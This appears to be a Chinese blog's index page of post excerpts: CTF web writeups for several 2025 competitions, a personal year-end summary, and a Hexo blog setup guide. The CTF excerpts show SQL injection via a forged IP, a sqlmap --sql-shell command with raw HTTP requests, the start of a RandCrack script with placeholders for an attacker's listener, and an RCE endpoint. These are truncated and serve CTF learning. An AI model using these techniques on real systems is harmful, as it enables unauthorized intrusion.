第九届“强网杯”全国网络安全挑战赛初赛 2025 个人题解 Writeup
第九届“强网杯”全国网络安全挑战赛初赛 2025 个人题解 WriteupPTer/openresty/sites/app.conf，可能就是题目所说的安全更新 ? 那我们重点关注/announce.php IP这里是可控的，可以伪造IP，直接拼接会造成sql注入 可以sql注入，但是密码加盐了 获取一个种子文件的info_hash 123456789101112131415161718192021222324import hashlibimport bencodepydef calculate_info_hash(torrent_file_path): # 读取种子文件 with open(torrent_file_path, 'rb') as f: torrent_data = f.read() # 解析种子文件 torrent = bencodepy.decode(torrent_data) # 获取info字典并计算其SHA1哈希 info_dict =...
迟来的2025年终总结
个人2025年终总结一月买了个J1900刷软路由玩玩，天天折腾，系统刷来刷去最后刷了IStoreOS，然后带着回老家过年了 看展子——沉入暗夜 二月打了VNCTF2025，只出了一道web题目，无缘于VN了，还是太菜了 变成了在老家倒腾软路由的神人 三月去长沙参加了ccsssc的华南区域赛，队友带飞，排名够了晋级决赛了，爽吃湘菜和茶颜悦色了，虽然刚在老家猛炫过 去了下长沙的五一广场，好多人 四月上学，好像没干啥特别的事情，跟朋友去下了个馆子，但是有鸽子 五月去了ccsssc的决赛，又在长沙，比赛最后好像坐牢了，拿了三等奖 跟队友去橘子洲玩了下 独立寒秋，湘江北去，橘子洲头 六月体育课期末考试了，我选的射箭，绝望地放箭中，最后10支箭83环，还行 端午节假期的时候和烧卖的师傅们一起打了下D^3CTF，打CTF以来第一次夺冠，做了2道web总共1000分，喜提Binary...
羊城杯2025个人web方向wp题解
羊城杯2025个人web方向wp题解ezsignin二血 /register和/login存在sql注入 1234567891011121314151617sqlmap.py -r .\sqlm2.txt --technique B --ignore-code 401 --risk 3 --level 5 --sql-shellPOST /login HTTP/1.1Host: 45.40.247.139:26273User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateCache-Control: max-age=0Origin: http://45.40.247.139:26273Content-Type: application/x-www-form-urlencodedAccept:...
WMCTF 2025 Writeup
WMCTF 2025 个人题解25th WEBguess参考文章：https://xz.aliyun.com/news/17384 这里我直接给出我的payload，使用randcrack一把梭 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475import requestsfrom randcrack import RandCrack# 目标URL（根据实际目标修改）base_url = "http://********:****" # 替换为目标URL#替换为你自己的服务器地址lhost="****"lport=****# 初始化RandCrackrc = RandCrack()# 收集624个随机数通过注册用户（Mersenne Twister需要624个32位值来预测）for i in...
LilCTF 2025 Writeup
LilCTF 2025 Writeup by Team Volcania_Rusty个人解出的题目 完整WP见https://bili33.top/posts/LilCTF2025-Writeup/ WebEkko Note数据库关系如下 通过这里的注释，可以猜到题目大概与random伪随机有关系，如果拿到seed，就可以预测random生成的随机值 1234# 欸我艹这两行代码测试用的忘记删了，欸算了都发布了，我们都在用力地活着，跟我的下班说去吧。# 反正整个程序没有一个地方用到random库。应该没有什么问题。import randomrandom.seed(SERVER_START_TIME) 题目提到的 RCE 相关代码 [email protected]('/execute_command', methods=['GET', 'POST'])@login_requireddef execute_command(): result =...
2025 D^3CTF个人web方向wp题解
2025 D^3CTF个人web方向wp题解d3invitation信息搜集题目容器显示有一个minio存储桶，一开始先测试了Minio的未授权信息泄露CVE，无果，遂继续抓包分析，并将static/js/tools.js丢给AI分析了一下，发现总共就三个接口：/api/genSTSCreds，/api/getObject，/api/putObject /api/genSTSCreds 接口可以获取STS凭证 12345678910111213POST /api/genSTSCreds HTTP/1.1Host: 34.150.83.54:31668Content-Length: 26Accept-Language: zh-CN,zh;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Content-Type: application/jsonAccept:...
部署hexo个人博客并在github托管
部署hexo个人博客并在github托管git bash下操作 安装hexo 1npm install hexo-cli -g 生成博客 1234hexo init 初始化hexo g 生成hexo s 本地部署hexo d 部署到线上 github建立仓库 1用户名.github.io 要选Public和Add a README file 生成SSH密钥（RSA） 1ssh-keygen -t rsa -C "邮件地址" 密钥文件存储在C:\Users\用户名.ssh id_rsa.pub存储的是公钥 测试是否成功 1ssh -T [email protected] 安装hexo自动部署工具 1npm install hexo-deployer-git --save 修改_config.yml 123type: gitrepository: 填入你的github仓库链接branch: main 第一次上传要配置email和用户名，用户名要区分大小写 12git config --global user.email...